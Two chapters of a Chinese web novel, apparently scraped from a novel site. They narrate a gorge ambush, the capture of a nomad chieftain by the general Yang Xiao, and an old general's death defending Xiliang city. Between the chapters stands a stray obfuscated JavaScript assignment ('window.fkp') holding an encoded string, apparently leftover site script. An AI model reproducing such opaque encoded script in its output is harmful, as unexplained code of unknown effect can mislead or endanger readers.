钱桧闻言,心中稍稍一宽抚须道:“还好,还好,看来那帮鞑靼们还没来得及在这里堵截我们。杨将军,当务之急我看还是速速通过为好。” 杨笑望着远处起起伏伏的山丘说道:“这片山岭是西梁城向东的门户,历来的兵家必争之地,以昨天从前方传来的消息看,敌军很可能已经到了西梁城下,这么重要的地方敌军不可能不防备。钱将军,咱们还是小心为妙。” 钱桧点点头:“杨将军所言极是。”说罢传令道:“传我将令,各部分散入谷,每营相隔百步,快速通过!” 一名传令兵手持令箭传令而去。 白羚峡中杨笑一虎当先带领三千轻骑走在第一梯队,后面里许之外是一队健步营还有五百弓箭手,再往后又是一支以盾牌兵为主的拒马营……。就这样,两万人的先锋分成几批进入了白羚峡。 峡谷里的官道平坦宽敞,战马踏出的隆隆声如闷雷一般在峡谷中回荡不休,两侧的崖壁飞快后掠,从路面上溢流而过的山溪,被马蹄践踏成一片四散飞溅的水花。 峡谷之上,早已埋伏好的狄戎族人探头探脑的观察着谷中的情况。 小土坡上有探马回报:“……周人分批入谷,各部之间相隔着不短的距离。” 泽铎把目光投向父亲。 首领泽达康抚着胡须呵呵道:“泽铎啊!在周人的南方有一种叫做甘蔗的东西,为父年轻的时候吃过一回,那东西生的甘甜多汁,尤其是中间的位置那叫一个甜呐,光是想一想就让人流口水,就是不知道什么时候才能再吃一次。” 泽铎闻言会意,他扭头对那传讯的探子说道:“传下去,首领有令,掐头去尾,把中间的位置留下来。” 杨笑带领三千骑兵一路上畅通无阻,眼瞅着两侧的崖壁越来越矮,渐渐的变成了一堆堆的黄土坡,也没见到半个敌人的影子。 “难道是自己多余的担心了?还是情报有误,鞑靼们还没到西梁城?不应该呀……。”杨笑望着四周的景像皱眉思索着。 想到这里杨笑立刻轻喝一声,小黑闻声身形一缓立刻停下了脚步。杨笑一停,众骑卒们也紧跟着停了下来,一时间“吁……咴儿咴儿……”的声音响成一片。 杨笑身边一个校尉侧身问道:“将军,怎么忽然停下来了,可是有什么不妥?” 杨笑环顾四周,除了战马不安的打着响鼻儿踩踏地面的声音外,就只剩下峡谷里呼呼的风声了。这份异样的平静反而让杨笑的心里越发的不平静了。杨笑对身旁的一名校尉说道:“你派几个人到前面的山坡上去看看,我总觉得有什么不对劲儿的地方。” 很快几骑快马上山而去,其余人原地戒备。 大约过了一盏茶的功夫,有两骑先后归来。两人都带着一丝不妙的表情回道:“将军,前面两里处发现大批敌军埋伏。” 在场的几位将军校尉闻言都看向杨笑:“将军,现在怎么办?” “鞑靼们想在这里埋伏咱们。” “要不要杀过去?”一位校尉抽出了长刀。 “那就干吧!”另一人也解下了背在身上的盾牌。 后面的士卒们见到几位将领校尉的动作也纷纷亮出了兵器,做好了迎敌的准备。 ……。 虽然他们早已做好了充分的准备,但再周密的计划往往也会赶不上现实上的变化。 不等杨笑开口说话,一声急报便从众人身后传来:“报!报……。”一名浑身是伤的骑卒穿过人群飞马上前急道:“将军,大事不好!我们在峡谷中被鞑靼们埋伏了。” 而此时,白羚峡中最是险峻的一段峡谷中,正有数不清的石头、火球还有箭矢不断的落下来,落在王朝大军的头顶上,此时的大军已经乱成了一团,人仰马翻间死伤无数,惨叫连连。所幸的是,峡谷中的岩缝里和巨石下有不少能供人藏身的地方,让惊慌失措中的军卒们可以暂时躲避死亡的威胁。 而此时的峡谷外,钱桧正指挥众军解救被困的袍泽,他一面采用正面强攻的打法吸引并牵制敌军的注意力,一面采用迂回包抄的战术打算给山上的敌军来个反包围,以此重创设伏的敌军。 布属完毕后,钱桧暗道一声:“亏得自己听了杨将军的建议留在队伍的最后面压阵,否则的话被困在里面的就是自己了。到那时,大军首尾不能相应,群龙无首之际,必定军心大乱。” 思量罢,钱桧抽出腰间长剑向敌军所在的山上遥遥一指,大声喝道:“杀!” 众军听令齐声一吼:“杀……!” 一时间整个白羚峡内外全都充斥着震天的喝杀声。 ……。 这边杨笑听完那军卒的话后脸色一变。前有堵截,后方又中了埋伏,西梁城又危在旦夕,这难道是天要亡西梁境不成? 好在已是身经百战的杨笑很快就镇定了下来:“有多少人马走出来了?” “回将军,三千轻骑尽数在此,另有五百弓弩手,健步营和拒马营一千余人,拢共四千五百多人。” 峡谷道路狭窄,队伍本来拉的就很长,各部之间又相隔了一段距离,敌军又只能在最险要的一段设伏,这样算下来的话,被困住的应该至多有一万人左右。可现在敌军数量不明,己方首尾不能相顾,前方又面临着另一重堵截,眼下这点人手杀回去救援只怕一时半会儿难以见效,再说,万一堵在外面的敌军再从背后给自己来上一刀的话,不用想也知道会是什么结果。冲出包围倒是不难,可这点人马对于偌大的西梁城来说无异于杯盏之水之与烈火。 杨笑在心里飞速的分析着眼前的形势,他骑在虎背上看看身后的峡谷,又看看前面的出口。不管哪种选择,斩杀当面之敌都是第一件要紧的事情,想到这里,杨笑抽出腰间长刀喝道:“众军听令!随我斩杀当面之敌。” ……。 峡谷内,周军的死伤越来越多,照这样下去被屠个干净只是迟早的事。峡谷外,尽管钱桧用尽了浑身解数,奈何敌军数倍于己,再加上对方又是早有准备,尽管付出了惨重的代价,却仍是不见有丝毫的转机。 另一边,堵在路口的狄戎族人虽说占了天时地利,但他们更擅长的还是弓马骑射,对于战阵的冲杀和防守必经不如周军娴熟。借着优势兵力再加上杨笑的神勇,几个冲锋下来,狄戎族的阵形已是岌岌可危。 山坡上的泽达康收到谷口的周军就要冲破阻击的消息时,他脸上的表情并没有出现丝毫的变化,似乎这一切都早已在他的意料之中似的。只见他轻轻的挥挥手,向身后的一队人马示意。而那领头的将领就好像时时刻刻都在目不转睛的盯着他的那只手似的,泽达康的手刚一抬起,他便立刻领会了其中所包含的意思,立刻双腿一夹马腹,领兵出发了。做手下做到这个份儿上,真的是要几份“真功夫”的。 泽达康放下手臂后,似是自言自语的说了些“笼中雀,网中鱼”之类的话。 经过这一次的冲锋,敌军的阵形已是被冲杀的破烂不堪。杨笑相信,只要再来一次冲锋就会凿穿对方的阵形,到时候对方所剩无几的人马必定要丢盔弃甲,然后被自己杀光杀净。 当然了,这帮鞑靼们也没有什么盔甲可丢的。 杨笑整顿好队形后望了一眼两边的山坡。要不是山坡上的这些弓箭手,自己只肖一次冲锋就能杀穿对面的防守。只是自己可以不怕头顶上不断落下来的弓箭,但身后的众将士们却不能。对方居高临下,自己是打又够不着,冲又上不去,短短距离的道路上躺满了横七竖八的尸体,那些倒在冲锋路途上的将士们十有八九都是被这些弓箭所伤。杨笑还从来没有打过这样的窝囊仗,想想都觉得窝火不已。 就在杨笑准备发起再一次冲锋,打算一举破敌的时候,却见对面一下子又来了不少人马,看样子其数量恐怕不少于自己这边。这样一来,只怕是攻守就要易位了。 就在杨笑苦于没有办法破解当前处境的时候,又有一骑探马归来。那骑卒方一出现就吸引了所有人的目光。 这名骑卒是先前排出的几批探马之一,这些人中有几个人没能及时返回,以杨笑等人的处境,当时都觉得那几个人恐怕是凶多吉少了。现在这名骑卒突然返回,不知道会带回来什么样的消息。 “禀将军,距此不远发现敌军首领!” ……。 峡谷尽头的山坡上,泽达康望着远远冒起的狼烟他眼含笑意:“泽铎。” 一旁的泽铎忙应道:“父亲。” “你知道我为什么突然转变态度,同意大王立刻攻打西梁吗?” 泽铎不解道:“这也是孩儿一直想不明白的地方。这个西梁王起兵也才半年多,周人们还不到元气大伤的时候,再加上入夏时的那场大雪,对咱们造成的损失也不小,照理说让周人们再相互咬上个一年半载,最早也得等到明年开春才是最好的时机。可大王为什么坚持要立刻出兵呢?而您也由一开始的坚决反对忽然之间就转变了态度,孩子实在是不明白。” 泽达康轻笑一声:“想不明白的可不只是你。”他顿了顿接着说道:“这一切的改变还要从那次的晚宴说起。” “晚宴?”泽铎疑惑道:“难道是因为那几个异人?可那几个异人的存在也不是一两天的事情了,单凭他们不可能让您还有其他几位首领们改变主意吧?” 泽达康微微仰头望向天边的云彩:“单凭那几个异人,是不足以让我们改变主意,可如果是仙人呢?” “仙人!?” 仙人这个词汇让泽铎有些惊讶,尤其还是从他十分敬重的父亲的嘴里说出来。 泽达康点头道:“没错,就是仙人。” 泽铎在确定了这个消息后惊讶的有些说不出话来。怪不得战事会进展的这么顺利,我就说嘛,就算有那些异人相助,以西梁军的实力也决不至于毫无招架之力,原来是有仙人暗中相助,这样一来可真的是胜利在望了。从他那由惊讶到惊喜的表情和目光中可以看出来,他似乎已经看到了这场战争的结局。 “那我们岂不是……。”胜券在握几个字就差写在泽铎的脸上了。 泽达康似乎是很满意儿子的表情,他轻哼一声微微笑道:“这算什么,区区小胜而已。” “还有比这还大的事?” 泽铎更加难以置信了。 占据西梁境入主中原是多少代狄戎族人梦寐以求的事情,现如今这似乎已经是一件唾手可得的事情了,可在父亲的眼里这样的大事竟然还算不上什么。一时间父亲的身影在泽铎的眼里更加的高大了,对父亲也更加由衷的敬佩了。 “不错!”说到这里泽达康也不再卖关子了,他紧接着说道:“那就是你的小儿子,我那乖孙儿,被仙人相中要收为亲传弟子。” “当真?”泽铎有些失态。 “当然是真的。”泽达康接着说道:“夺下西梁境入主中原,对我族来说当然是好处多多。可那个时候,得好处的可不只是我们,其他的部落一样会有数不尽的好处,那样的话,咱们的强大就相对有限了。但被仙人相中,要收为亲传这样的好事,可就是独一份儿的啦!若干年后,我泽达家族也会诞生一位仙人,到那时,才是家族真正强大的时候。”说到这里泽达康不由的哈哈大笑起来。 泽铎闻言也跟着父亲大笑不止。 在草原上一直就只有一条真理,那就是:谁最强大,谁就能说了算! 父子俩笑罢,泽达康撇了一眼身后不远处的侍卫,压低了声音对泽铎说道:“这件事只有你知我知仙人知,千万不可以告诉第四个人,包括你的枕边人。” 泽铎立刻拍着胸口道:“孩儿明白。孩儿这就传信回家,让他们再加十倍的力量好好保护小乌达。” 就在父子俩畅想着家族的美好未来时,一名探子的话打断了他们 “首领,有一支敌军的骑兵向这边快速靠近。” 泽达康意外道:“嗯?在哪个方向?” 那探子抬手指道:“在那边,大概不到两里路程。” 泽达康转身望去,泽铎也随着父亲的目光看过去,在那边果然见到有一股淡淡的烟尘远远的飘起。 泽达康立刻打马上前几步,在高处勒住马缰举目望去。这不看不要紧,一看竟把泽达康给吓了一跳。 虽说他上了点年纪,眼神也有些昏花了,但他还是一眼就认出了队伍前面的那个人:黑盔,黑甲,胯下一匹黑虎,不是杨笑又是谁? 原来,自南苑王从西梁返回后,杨笑的名声便在狄戎族内不胫而走了。再后来,随西梁王入关,一路夺取圣京,之后又大败东安王,杨笑的名讳在狄戎族的大小部落统治者还有军队中更是几乎人尽皆知。尤其是前段时间在青铜峡发生的事情,让狄戎族高层对杨笑的重视又上了一个台阶。 泽达康怒道:“有此人在场刚才为何无人回报?” 那探子吓的跪在地上叫道:“小人不知道啊,小人还以为早就有人向首领汇报过了。” 泽达康气的胡子都要炸起,他挥刀便把那名探子给砍了。 说起来这探子也是死的冤,必经今天向泽达康报告军情的可不止一两个人,而他也不是第一个向泽达康报告军情的人。要怪也只能怪他来的不是时候,只能说是合该他倒霉吧。 泽达康砍完人后连刀都顾不上收,拨转马头就走,同时向跟在身边的护卫们命令道::“拦住他们!” 原来,杨笑在得知敌军首脑所在之后,便命令队伍进入防守状态,自己则带了百余精壮穿沟越岭赶了过来。 百十来名护卫怎么可能是杨笑等人的对手,只一个照面就被杀的人仰马翻。杨笑甩开敌人的纠缠,捡起一杆长枪独自一人就向泽达康父子追了过去。 泽铎跟在父亲身后边跑边问道:“这家伙不是在青铜峡吗?他怎么会出现在这里?” 儿子的疑惑也是他自己的疑惑,不过转念一想也就大概明白是怎么回事了:“他胯下坐骑日行千里想来不来什么难事。” 虽然经父亲这么一说泽铎也明白是怎么回事了,但他在心里还是惊疑道:“那葛尔图身边有异人相助,那些异人个个神通了得,这杨笑竟能在那些异人的眼皮子底下杀了葛尔图,那他又该有多厉害?” 正想着,泽铎便下意识的回头看了一眼,哪知道这一眼却把他吓的脸都白了。 只见杨笑已经到了身后十多丈远。 泽铎大叫一声:“父亲快走!” 说着就要调转马头阻挡杨笑。 泽铎在部落里虽说也是拔尖的勇士,但又哪里会是杨笑的对手,三两下就被杨笑戳透了胸口,挑落马下。 不过这泽铎倒也是个硬骨头,双手死死的抓着杨笑的长枪就是不肯松手。杨笑哪管他这个,索性就在地上托着他向泽达康追了上去。 泽达康在听到儿子的叫声后,回头看见杨笑就要追上来,吓的他一连在马屁股上抽了好几鞭子,直抽的那马儿嗷嗷叫,饶是这样也没能快上多少。 同时他也在心里大骂那些异人,平常总在自己面前摆架子,耍威风,现在到了关键时刻怎么一个也看不到? 杨笑追到泽达康身后不远,将手里的长枪一抖,把泽铎甩到一边,然后甩手就把长枪丢了出去。 那杆枪裹挟着千钧之力冲着泽达康就飞了过去。 “扑”的一声,长枪却不是扎在泽达康身上,而是扎在了他的马屁股上。长长的枪杆从马屁股上一直穿透了那匹马的身体,又从马肚子下透了出来,将那匹马给钉在了地面上。巨大的贯性再加上一人一马的重量,轻易的就把那杆枪的枪杆给折断了。同一时间那匹马也发出一声哀鸣,轰然倒地。 泽达康被摔在地上一连滚了十几圈,摔了个披头散发,头破血流,实在是狼狈的很。 杨笑轻轻一夹双腿,驱动小黑走到泽达康的跟前。 泽达康坐在地上往后挪动着身体,眼见那猛虎的虎爪一步步靠近自己,他一咬牙就要抽刀自尽,却被小黑一爪拍飞了他手里的刀。 “想死?没那么容易。” 杨笑擒住泽达康正要转身往回走,就见一道白光从天而降,光芒闪过后一个人影出现在那里。来人现身后朝杨笑深深一躬道:“恩公别来无恙。” 来人身材不大,约么有六十来岁,灰发灰须,穿一身赭色长衫。 正是当日掳走杨笑骗他挡刀的老者。 一想起那天的事杨笑就有些来气,于是他没好气道:“你又有什么事?不会是你那外甥又要来看你吧?” 那老者面露尴尬之色,干笑两声说道:“恩公说笑了,老朽哪来那么多的外甥呢?” “那你这回来找我是要干什么?” 见杨笑不待见自己,那老者也不生气,依旧是笑呵呵的说道:“托恩公的福,老朽现在已是青木真人座下的一名执事。上次一别实在是有些匆忙,还不曾向恩公说明老朽的名讳。老朽姓胡,名玑,排行第八,人称胡八公……。” 听到胡八公自报家门,杨笑眉毛一挑,露出一个古怪的表情,接着老者的话说道:“姓胡?你这个姓比起你的人可实在多了。” 胡八公知道杨笑这是在说他上回诓骗自己的事,只不过得了便宜的胡八公又怎么会在意这些呢?只见他微微颌首道:“恩公说笑了……。” 杨笑心里着急峡谷中的战况,不想跟胡八公在这里说这些有的没的,就打断他的话说道:“你要是没什么事我就走了,那边还有两万多兄弟们等着我去救呢。” 胡八公闻言连忙陪着不是说道:“都怪老朽的话太多了。”说着就把这次来找杨笑的前因后果简明扼要的说了一遍。 原来参于到这一次两军交战中的并不只三两个修道之人,也就是双方将士们口中的异人,而是有百余名修道之人掺和了进来。至于具体的原因,却被胡八公以一句“这个不重要”给敷衍了过去。 末了胡八公对杨笑说道:“不过这些都不需要恩公操心,梁统领让老朽转告恩公,自今日起,恩公尽管大杀四方,再不会有任何一个肖小之辈来打扰恩公攘夷安邦了。” 胡八公的一番话让杨笑一时半会儿着实是有点消化不了,正待杨笑想要再问些什么的时候,没想到那胡八公直接来了句:“老朽话已带到,祝恩公一展宏图!”说罢便化作一道白光消失不见了。 搞得杨笑也只有在心里问候一下那老狐狸的女性……呃不……是雌性家属了。 ……。 白羚峡。 钱桧指挥着手下人马打了半天也只是救出来一小部分人。倒也不是这钱桧无能,实在是敌人在数量上多于自己,又占据了地利之便,没有被敌人反扑过来把自己消灭就已经是万幸了。 后面的主力部队距此至少还有一天的路程,等待援兵恐怕是来不及了,必经远水解不了近渴。以眼前的战场形势来看,要是再不能有所突破的话,钱桧就只能下令撤退了,必经在看不到任何希望的情况下,他不能让幸存的将士们再去白白的送死。 就在战事焦灼之际,一道响彻峡谷的声音震慑了在场的每一个人:“泽达康狗命在此,还不速速投降!” 到底这场峡谷之战还会有哪些变数?杨笑又能否及时抵达西梁城?预知后事如何,且听下回分解! ??????? ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百四十回 老英雄 新英雄 急匆匆赶路的两万先锋军,没有经过周密的侦察便一头扎进了白羚峡中。不是他们不知道这样做的危险性,而是西梁城的形势实在是万分危急,他们必须以急行军的速度,一刻不停的赶往西梁城。所以,原本该有的细致侦察便被减化到只是派了几十匹快马先到峡谷里跑了个来回了事。 像这样无异于敷衍了事的侦察又能有什么可发现的呢?所以,不出意外的话,就要出意外了。 峡谷里的道路并不宽,只容两辆马车并行的样子。好在人踩马踏车轮碾,几百年下来,这条官道早已平坦的很。道路的一边是如同一堵高墙一般的崖壁,另一边是由洪水冲涮而成的河沟,再往另一边就又是如同一堵高墙一般的崖壁了。 山里面有几处常年冒水的泉眼,从中冒出的泉水,让这条满是乱石的河沟里常年流淌着一条约么有人脚踝深的小溪。往日里行旅穿梭不息的峡谷,因为战争的原因,此时已是寂静无比,只有淅沥沥的溪水令这空寂的峡谷平添了几分生气。 马不停蹄,人不歇脚的军队,扬起一阵阵淡黄色的尘土,打破了这份平静。 “哗啦啦……。”一声碎石滚落的声音传来。 此刻响起的这道声音是那么的刺耳,就连乱糟糟的马踏声,还有人的脚步声都掩盖不了它。 等众人抬头看去时,一块巨大的山岩,携带着风声,还有许多大大小小的石头,就像是一头吃人的猛兽领着一群小兽一样,向众人的头顶上扑来。 巨石在地面上摔成了几瓣,几个来不及躲避的军卒当场就被砸成了肉泥。 紧随巨石落下的是数不清的石头,流星般的火球,还有雨点般的箭矢。 俄而百千人大呼,百千马嘶,百千犬吠。中间力拉崩倒之声,火爆声,呼呼风声,百千齐作;又夹百千求救声,曳屋许许声,抢夺声,泼水声。 纷乱的声音充满了整个峡谷。 只是片刻便有半数人马死伤倒地。 好在崖壁间的裂缝凹凸处,还有河道中的巨石下,为不少人提供了一线生机。 就在被困的周王朝将士们苦于没有生路之际,一道响彻峡谷的声音响起:“泽达康狗命在此,还不速速投降!” 原来是杨笑擒住了敌军的首领。 身处绝境之中的将士们在听到这个声音后,原本低落到极至的士气一下子受到了莫大的鼓舞。而山上的敌军却在这一声大喊过后全都陷入了沉寂。 狄戎族的士兵们一时之间不知道该怎么办了,搬在手里的石头是扔还是不扔呢?还有那撘在弓弦上的箭矢是放还是不放?箭在弦上不得不发这句话在这个时候显然是有点儿不太合适了。 正在指挥麾下士兵做战的忽突鲁这个时候心思急转,只见他表情变换间把牙齿暗暗一咬,大声道:“不要听信他的鬼话,说不定这个家伙就是在骗我们,好让他们的人趁机逃跑。所有人都听着,给我继续杀!” 另一边的瓜尔达闻言一指对面的伙伴质问道:“忽突鲁!你安的什么心?没看到首领在他的手里吗?” 受到质问的忽突鲁强作镇定,他反驳道:“离这么远,你怎么知道那就是首领?此战关系甚大,贻误了军机你担得起吗?” 贻误军机这么大的一顶帽子“哐”的一下子扣下来,饶是瓜尔达也被压到不由自主的往后退了半步。那被擒住的人到底是不是首领其实他也不清楚,必经周军们大半已被他们层层围住,再说首领的身边也还有不少的力量在保护。但出于对首领的忠心瓜尔达宁肯错失战机也不愿意冒这个风险。 就在他不知道该怎么反驳忽突鲁的时候,忽然察觉到此时的忽突鲁似乎与往常的行为神情不太一样。平常时候的忽突鲁可是从来不会像今天这样冒失蛮干。 转念间瓜尔达就想到了可能的原因。 忽突鲁是阿大的心腹干将,阿大和阿二两兄弟间争夺部落首领继承权的斗争早已明里暗里的进行了好多年,这件事几乎成了部落高层间不言自明的秘密。而阿大近些年的所作所为越发的不受首领待见,反倒是阿二越来越被首领器重。在这个特殊时刻忽突鲁突然一反常态,要么是他临时起意自作主张,要么就是出征前受了什么人的意。如果是前者,那这忽突鲁的胆子可真是够大的,如果是后者的话,……。 总之不管是哪种原因,其目的都是要置首领于死地。 瓜尔达觉得这里面的水似乎是有些深,但无论如何他今天都不会允许这样的事情发生。 瓜尔达想到这里面色一凛。他提着手里的刀一指对面,狠狠呵斥道:“忽突鲁!说,是谁指使你谋害首领的?” 本以为扣一顶贻误军机的大帽子会让瓜尔达有所退缩,哪知道他不但没有半点退让的意思,反而给自己扣回来一顶谋害首领的罪名。 忽突鲁怒回道:“你不要在那里胡说八道,别以为只有你对首领忠心,我忽突鲁对首领的忠心就连天上的雄鹰都可以作证。” 瓜尔达还想要说些什么却被忽突鲁打断道:“你够了!再在这里胡搅蛮缠让下面的猎物都跑了,我看你怎么跟首领还有大王交待。” 听着上面两个人打起了嘴仗,杨笑拿刀鞘往泽达康的屁股上一拍:“嘿!吵起来了,你这做首领的不说两句?” 哪知那泽达康爬在马背上一声不吭的在那里装死。 泽达康想摆烂,杨笑却没这个心情。 “不出声是吧?装死是吧?信不信我在你屁股上来一刀?” 杨笑说一句就在泽达康的屁股上踹一脚,哪知道这一踹还把泽达康给踹出脾气来了:“既然落在你小子手上了,要杀要剐悉听尊便。” 泽达康的话音刚落就感觉到屁股上一阵剧痛传来,那剧烈的疼痛让他忍不住惨叫起来。 他本想着说上几句硬气话,好维持一下自己“堂堂大首领”的面子,没想到这家伙竟然这么果决,说来一刀马上就来一刀,连半点缓和的余地也没有。 养尊处优惯了的泽达康也不记得多少年没有受过这等皮肉之苦了,屁股上传来的剧痛,疼的他一连鬼叫了好几声。 峡谷上正在吵架的两个人听到这几声惨叫后终于确定了自家首领被俘的事实。 这时候杨笑的声音又传了过来:“立刻滚下来投降,不然的话就等着收尸吧!” 投降是不可能投降的,而杨笑也没指望他们真的会下来投降。 最终狄戎族人绕道撤退了。 峡谷内被围困的周军也得到了解救。 清点战场后发现被困的人马死伤过半,而解救被困袍泽的过程中也有不少损伤,总之原本两万多人的先锋军,现在尚能战者将将能凑够一万。 这一战,损失不可谓不惨重,但该走的路还要继续走下去,该完成的任务还是要继续去完成。 定昏时分,杨笑他们终于赶到了西梁城。但此时西梁城的情况,可是真的不怎么妙。 城西之地正腾起一片火光,雄雄的烈火照亮了天空,滚滚的烟尘遮住了半边城池。 杨笑面色骇然,立刻带领人马直奔西门而去。 此时,西梁城的城墙上正有数不清的狄戎族人蚁附而上。 城头上箭矢如蝗。 从敌人蚁附攻城开始,他们的抛石车便前出攻击,为正在攀附城墙的人马提供掩护。 如雨的箭矢将城头上的守军压的抬不起头来,不断落下的石块和火球又阻滞着后面赶来的援兵。在这般猛烈的进攻下,敌人很快就攻了上来,城墙上立刻展开了殊死的搏斗。 见己方的人马已经攻上了城墙,狄戎族的阵前再此传出号令,弓箭手和抛石车再次前出,压制西梁军的后方通道。 老将军周同格披甲提刀,裹一身红袍,在城头上沉着冷静的指挥着。 自从封常青受伤后,三面受敌的西梁境此时已没有堪用的高级将领能及时接替他的位置了,满头华发的老将军时隔多年后再次披甲上阵。 凭谁问:廉颇老矣,尚能饭否? 在周同格的指挥下,爬上来的敌人被一次次的杀下去,可敌人实在是太多了,好像怎么杀都杀不完似的,这一次已经不知道是他们的第几次进攻了,而西梁军这边的兵力却是愈战愈少。 将士们虽有殊死之心,但接连不断的战斗让他们精疲力尽,渐渐的有些支撑不住了。 就在众将士苦苦支撑之际,一声清脆的声音传入耳中:“西梁的将士们,哀家与你等同在!” 西梁王妃,现在的大周皇后出现在城头上。 皇后身着凤冠霞帔站在城楼前,她轻轻的张开双臂,此时的皇后在众将士的眼中是那么的慈祥,伟岸,神圣。 彼时,西梁王虽已攻取圣京,但那时各路王侯尚末臣服,大周境内的局势并不平静,所以西梁王妃便一直留在西梁城,并没有迁往圣京。谁曾想,关内局势尚末平复,狄戎族与雪藩族又联袂来犯。各处关隘接连被破,敌军直逼西梁城下。城危之时,西梁王妃也没有想过要弃满城百姓而去,她选择留下来,与万千西梁百姓共同面对这数百年来未曾有过的大危机。 王妃出现的那一刻,西梁城的将士们仿佛受到了莫大的鼓舞,瞬时间士气大振。很快的,敌人便再次被赶下了城墙。 疯狂的敌人怎会就此罢休,他们很快就又杀了上来。已是强弩之末的西梁军再也支撑不住了,被敌人杀的不断后退。周同格也挥刀加入了乱战之中。 他挡在城楼前的台阶下,不让任何一个敌人踏上台阶半步。在他的脚边已经有十几具敌人的尸体躺在那里。 ……将面前的敌人踢倒后,周同格上前一步一刀刺出,不给敌人任何翻身的机会。 那倒地的狄戎族人抓着插入腹中的钢刀,挣扎几下后便咽了气。 这一刀正刺在心口之下肚腹之上,刺的极有技巧。这一处地方是人肚皮最薄之处,既能刺中心脉要害,又能使刀剑不受胸廓肋骨的阻挡,乃是如周同格这般在疆场上饮惯了敌人血肉的老将才能练就的夺命杀招。 周同格一击毙命后就要立刻抽身后退,不给敌人近身的机会,但那些敌兵们一个个也是嗜血之徒,不等他把刀拔出来,就又有两个敌人挥舞着刀枪杀了过来。 周同格扭头看向二人,那两个家伙与他对视之时竟被他眼中的杀气震慑的一时愣在当场。 战场之上,生死相向,一瞬间的失神便可决定敌我之间的命运。 不等二人反应过来,周同格早已手起刀落结果了他们的性命。 刀光闪过之后,周同格看也不看那滚落的头颅一眼就要再次起身杀敌。就在这时,一道破空之声传来,不等周同格有所反应,“啪”的一声,一块石头正中他的头顶。 好在石头不大,只是把他的头盔打落在地上。 头盔掉落,周同格的头发也一下子披散开来。 那一头如霜的白发随风披散在身后。散乱的白发并没有让他变的狼狈,反而将他衬托的如同绝世枭雄一般,威武之气冲天而起。身上脸上沾着的鲜血还有眼中的杀气,这一切无不让敌人望之胆寒。与其对峙的狄戎族人这才想起来,面前的老人当年可是杀的整个狄戎族闻风丧胆的煞星。 在周同格的威名和杀气震慑下,面前的敌人一时间被吓的不敢上前半步。 见敌人暂时不敢上前,周同格并没有主动上去与敌人撕杀。他乘机喘上几口气,以平复一下那颗几乎要跳出胸膛的心脏。必经是上了年纪的人了,连番撕杀下来气力难免有些跟不上。 美人迟暮将军老,最是红尘两不堪。 再旷世无敌的英雄也抵挡不住岁月的摧残。 那剧烈起伏的胸膛还是出卖了他,先前被震慑住的敌人很快便有人反应了过来。一个小头目模样的的敌人拿刀指着周同格的胸口怪叫道:“大家不要怕,这个老家伙已经不行了,大家一起上,砍死他!” 十几个狄戎族人哇哇怪叫着一拥而上,周同格大吼一声挥刀相迎。一场血战在经过短暂的中场休息后再次展开。 激战之中,两杆长枪突然从人群里穿出,周同格来不及躲避被刺穿了小腹。 周同格被那两杆长枪刺的噔噔噔后退几步。 好一个格杀勿论的“周格杀”,对敌人狠辣对自己更狠,他竟是不顾腹部的伤势,把牙一咬,猛的上前一步让那两杆长枪穿过自己的身体,紧接着便是一个手起刀落。两颗来不及反应的头颅在惊惧中带着难以置信的表情飞上了天。 刚刚斩落两颗头颅,周同格便忽觉左臂处一凉,转头看时,却见自己的一条手臂已经被敌人齐齐斩断。 周同格反手一刀就将那人的脑袋给拍了个粉碎。 腹部和左臂处鲜血泊泊而出,一阵天眩地转的感觉让他踉跄着倒退几步。一哄而上的敌人在留下几颗头颅后终于重创了这个“不可一世”的煞星。 周同格浑身浴血。 这些血有他的,但更多的是敌人的。 他单手持刀望向面前的敌人,靠着穿在身体上的两杆长枪的支撑才勉强不倒。 台阶上的西梁王妃,如今的大周皇后,不知什么时候已经把一柄匕首抓在了手里。 既然选择了留下来,既然上了这座淌满鲜血的城楼,她就做好了与西梁城共存亡的打算。 虽然身受重伤,但狠戾之气却丝毫不减的周同格再一次吓住了在场的敌人。看着眼前畏缩不前的敌人他忍不住放声大笑,仿佛又回到了那个让敌人望之胆寒,入敌阵如入无人之境的年代。一时间胸中有无限快意不得不发。 我自横刀向天笑! 那些狄戎族人只是围在那里,没有一个人上前。任谁都看得出来,这个煞星的时间不多了,谁也不愿意在这个时候去触他的霉头,大家只要心照不宣的在这边静静的等着就行了。 不停流淌的鲜血一点点的带走老将军本就所剩无几的生机。 他的脸色越来越苍白,手里的刀也越来越重,直重到他再也举不动那把刀。眼里的世界也开始变的模糊起来,耳畔嘈杂的声音也越来越模糊,接着有一声声好像是知了的叫声传来,那知了声让他想起了小时候自己家茅草屋后面的那片小树林。再然后一切就都归于了寂静。可就在这份寂静中,他的听觉却又仿佛灵敏了十倍、百倍一般,耳中分明有一个声音在不断的呼唤着自己。那声音一声接着一声,一声比一声响亮,一声比一声清晰。 就在周同格再也支撑不住的时候,一杆长枪如同彗星般划破长空“嘭”的一声斜插在他身前的地面上。枪身在震颤中发出阵阵嗡鸣,接着一道身影就像是从天而降般落在他的身旁。 那身影黑盔黑甲,正是救援而来的杨笑。 杨笑刚一落地便急忙上前扶住了缓缓倒下的周同格。 看到杨笑的面孔后周同格原本惨白的脸上浮现出一抹淡淡的血色来,就连精神也好了一些。他握住杨笑的手轻声道:“我就知道你小子会来的。” 杨笑望着这位须发皆白的老人,知道他的生命已经走到了尽头,只是靠着一口气才强撑到现在。 “老将军,你一定要撑住啊!”杨笑握住周同格的手说道。 周同格缓缓地摇头,他知道自己就要死了,也明白眼下的这股精气神儿只不过是自己临死前的回光返照罢了,坚持不了多长时间的。 “我不行了……可惜看不到黄龙山了。” 周同格几乎是用尽了全身的力气才说出了这句话,还未说完便大口大口的喘了起来。 黄龙山是狄戎族境内的一道山脉,被狄戎族奉为圣山。山下的黄龙城是狄戎族仅有的一座城池,也是狄戎族的都城所在。传闻那里是一处极为山清水秀的好地方,草木之丰盛更超台阶山。周同格一辈子的心愿就是打下黄龙城,登上黄龙山。 “西梁城……就交给……你……你……了。” 周同格说完这句话就缓缓地闭上了眼睛。 一代枭雄就此落幕。 杨笑轻轻的把老人放好,默默道:“老将军一路走好。”再抬头时,新的盖世英雄诞生了! 